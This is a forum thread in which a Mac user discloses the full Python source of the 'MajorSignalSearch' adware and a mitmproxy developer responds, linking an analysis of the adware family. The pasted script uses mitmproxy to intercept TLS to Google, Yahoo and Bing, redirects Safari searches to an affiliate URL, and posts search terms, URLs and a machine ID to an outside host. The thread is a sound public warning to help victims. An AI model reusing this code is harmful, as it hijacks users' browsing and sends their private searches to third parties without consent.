MajorSignalSearch: malware using mitmproxy

Hi,

This morning I discovered some malware on my wife’s MacBook Pro which had the unpleasant effect of redirecting Google search requests in Safari to Yahoo. A bit of investigation yielded a process called MajorSignalSearch that appeared to be responsible for this. The culprit was a file called MajorSignalSearch.py that relies extensively on mitmproxy to do its dirty work. Here is the source code:

import collections
import random
import datetime

from enum import Enum

import mitmproxy
from mitmproxy import ctx
from mitmproxy.exceptions import TlsProtocolException
from mitmproxy.proxy.protocol import TlsLayer, RawTCPLayer
import re
from mitmproxy.net.http import Headers
from mitmproxy.http import HTTPResponse

import json
import urllib
try:
    import urllib.request as urllib2
except ImportError:
    import urllib2

class _TlsStrategy:
    def __init__(self):
        pass

    def should_intercept(self, server_address):
        raise NotImplementedError()


class ConservativeStrategy(_TlsStrategy):
    def should_intercept(self, server_address):
        return GetInterceptableDomainId(server_address[0]) != None


class TlsFeedback(TlsLayer):
    def _establish_tls_with_client(self):
        server_address = self.server_conn.address

        try:
            super(TlsFeedback, self)._establish_tls_with_client()
        except TlsProtocolException as e:
            raise e


# global variables
machineId = "4E033AA9-5B2E-5B0D-A384-656C144D52B1"
br = "1007"
searchUrl = "http://lkysearchds4407-a.akamaihd.net/ps?_pg=4E033AA9-5B2E-5B0D-A384-656C144D52B1&q=@@SearchTerm@@"
interceptableDomains = {"1":[{"Id":"1","Domain":".google.","IsRegex":"False"}],"2":[{"Id":"2","Domain":".yahoo.","IsRegex":"False"}],"3":[{"Id":"3","Domain":".bing.","IsRegex":"False"}]}
searchMatches = {"1":{"Id":"1","MatchRegex":"https?://[^/]*/search\\?.*?[?&]q=","SearchQueryParam":"q"},"2":{"Id":"2","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]p=*((?!ANYS_.|Tarrv_.|__alt__ddc_srch_searchpulse_net|hspart=sz&.*?type=type801[^&]*).)*$","SearchQueryParam":"p"},"3":{"Id":"3","MatchRegex":"^https?:\\/\\/[^\\/]*\\/search.*?[?&]q=((?!AEE67B61E61).)*$","SearchQueryParam":"q"}}
domainMaps = {"1":["1"],"2":["2"],"3":["3"]}
userAgents = [".*?\\)\\s*[^\\)]+(?:(?<!Chrome)/[0-9\\.]+ Safari/([0-9\\.]+))$"]
referrerChecks = {}
tls_strategy = None
intercepts = {}
yahooTypeTagRegexes = [re.compile(r'type=ANYS_.*$', re.M|re.I), re.compile(r'type=Tarrv_.*$', re.M|re.I), re.compile(r'type=[^&]*__alt__ddc_srch_searchpulse_net', re.M|re.I), re.compile(r'hspart=sz&.*?type=type801[^&]*', re.M|re.I)]
isGoogleMapRegex = re.compile(r'^https?://[^/]*\.google\.co[^/]*/.*[?&]tbm=map.*', re.M|re.I)
searchParamString = '[?&]na=([^&]+)'
scriptVersion = 1.0
responseBodyTemplate = """
<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="no-referrer" />
    <meta http-equiv="Refresh" content="0; url=@@RedirectUrl@@" />
  </head>
</html>
"""


def load(l):
    pass


def configure(updated):
    global tls_strategy
    tls_strategy = ConservativeStrategy()


def next_layer(next_layer):
    if isinstance(next_layer, TlsLayer) and next_layer._client_tls:
        server_address = next_layer.server_conn.address

        if tls_strategy.should_intercept(server_address):
            next_layer.__class__ = TlsFeedback
        else:
            #mitmproxy.ctx.log("TLS passthrough for %s" % repr(next_layer.server_conn.address), "info")
            next_layer_replacement = RawTCPLayer(next_layer.ctx, ignore=True)
            next_layer.reply.send(next_layer_replacement)


def GetInterceptableDomainId(domain):
    for key, interceptableDomainGroup in interceptableDomains.items():
        for interceptableDomain in interceptableDomainGroup:
            if (interceptableDomain['IsRegex'] == 'True' and re.match(interceptableDomain['Domain'], domain)) or (interceptableDomain['IsRegex'] == 'False' and interceptableDomain['Domain'] in domain):
                return interceptableDomain['Id']
    return None

def SendNoIntercept(url, userAgent, referrer, searchTerm, reason):
    #ctx.log.info("------------Entered SendNoIntercept: %s------------" % reason)

    data = {
        "ev": "pdt",
        "sv": scriptVersion,
        "rf": urllib.parse.quote(referrer),
        "ua": userAgent,
        "cg": machineId,
        "br": br,
        "u": urllib.parse.quote(url),
        "st": urllib.parse.quote(searchTerm),
        "r": reason
    }

    try:
        json_data = json.dumps(data).encode("utf-8")
        method = "POST"
        handler = urllib2.HTTPHandler()
        opener = urllib2.build_opener(handler)
        request = urllib2.Request("http://lkysearchds4407-a.akamaihd.net/olg", data=json_data)
        request.add_header("Content-Type",'application/json')
        request.get_method = lambda: method
        connection = opener.open(request)
    except Exception as e:
        #ctx.log.error("------------Error sending message ------------\n%s:\n%s" % (e.__doc__, e.message))
        pass


def request(flow):
    searchTerm = ""
    referrer = flow.request.headers.get("Referer") or ""
    userAgent = flow.request.headers.get("User-Agent") or ""

    # abort if userAgent not in whitelist    
    userAgentMatches = False
    for ua in userAgents:
        userAgentMatches = userAgentMatches or (re.match(ua, userAgent) != None)

    if not userAgentMatches:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "UA mismatch")
        return

    # get domain id if it exists
    domainId = GetInterceptableDomainId(flow.request.host)

    # abort if domain id was not found
    if domainId == None:
        return

    # get valid search string ids
    validDomainMaps = domainMaps[domainId]
    
    # abort if there are no search strings
    if validDomainMaps == None or not validDomainMaps:
        return

    for mapMatchId in validDomainMaps:
        try:
            searchMatchItem = searchMatches[mapMatchId]
            if searchMatchItem == None or not searchMatchItem:
                continue
            if re.search(searchMatchItem['MatchRegex'], flow.request.url) != None:
                searchQueryRegex = searchParamString.replace("na", searchMatchItem['SearchQueryParam'])
                searchTerm = re.search(searchQueryRegex, flow.request.url).group(1)
                break
        except:
            pass

    skipReferrerCheck = referrerChecks.get(domainId, 'False')
  
    if not searchTerm:
        #SendNoIntercept(flow.request.url, userAgent, referrer, "No search term")
        return

    # abort if yahoo typetag matches blacklist
    if 'search.yahoo' in flow.request.host:
        for pattern in yahooTypeTagRegexes:
            if re.search(pattern, flow.request.url) != None:
                SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Yahoo typetag blacklist")
                return

    # abort if google maps
    if re.match(isGoogleMapRegex, flow.request.url) != None:
        return

    # abort if no referer    
    if skipReferrerCheck != 'True' and (referrer) != "":
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Referrer exists")
        return

    # abort if request has already been made within the threshold
    requestTime = datetime.datetime.now()
    lastRequestTime = requestTime + datetime.timedelta(days=-1)
    if searchTerm in intercepts:
        lastRequestTime = intercepts[searchTerm]        
    timeDifference = requestTime - lastRequestTime
    maxTimeDifference = datetime.timedelta(seconds=5)
    if maxTimeDifference >= timeDifference:
        SendNoIntercept(flow.request.url, userAgent, referrer, searchTerm, "Repeat search")
        return

    intercepts[searchTerm] = datetime.datetime.now()
    flow.request.headers["Referer"] = ""
    redirectUrl = searchUrl.replace("@@SearchTerm@@", searchTerm)
    if (referrer) != "":
        redirectUrl = redirectUrl + "&s=" + domainId
    responseBody = responseBodyTemplate.replace("@@RedirectUrl@@", redirectUrl)
    flow.response = HTTPResponse.make(
        302,  # (optional) status code
        responseBody.encode('utf-8'),  # (optional) content
        {"Content-Type": "text/html"} # (optional) headers
    )

This file and some others were in /var/root/.MajorSignalSearch. I also had to kill the daemon and remove the plist file in /Users/$USER/Library/Application Support/com.MajorSignalSearch/MajorSignalSearch

I just wanted to create this post hoping Google would index it and perhaps lead other affected people to a solution.

This post should not be construed as criticism of mitmproxy in any way, as I had never heard from it until I looked at the malware source code…

Hi @tschoonj,

Thank you for the heads-up! I unfortunately stumbled upon the same issue on a machine yesterday, so there might be a new campaign being pushed. :slightly_frowning_face:

Key Points:

  1. There unfortunately is a family of malicious software that uses mitmproxy’s code under the hood to redirect users’ traffic.
  2. We – the mitmproxy developers – are in no way affiliated with this and condemn the criminals’ activities. Unfortunately, we cannot stop them including our code in their software.
  3. Our software is unfortunately mis-used for malicious purposes here. We are sorry if you have been infected. We would like to emphasize that we actively fight “on the other side”: Mitmproxy is regularly used to improve software security, uncover privacy violations, etc.: https://mitmproxy.org/publications/.

More technical commentary:
The name (MajorSignalSearch in your case) seems to be randomized. Malwarebytes classifies it as Adware.OperatorMac. They have a blog post describing the phenomenon:
https://blog.malwarebytes.com/threat-analysis/2018/10/mac-malware-intercepts-encrypted-web-traffic-for-ad-injection/. Mitmproxy is not the only tool that could be used for this, some other malware families are using Titanium Web Proxy for example (https://www.airoav.com/mitm-proxy-a-new-search-hijack-method-on-mojave/).

Best,
Max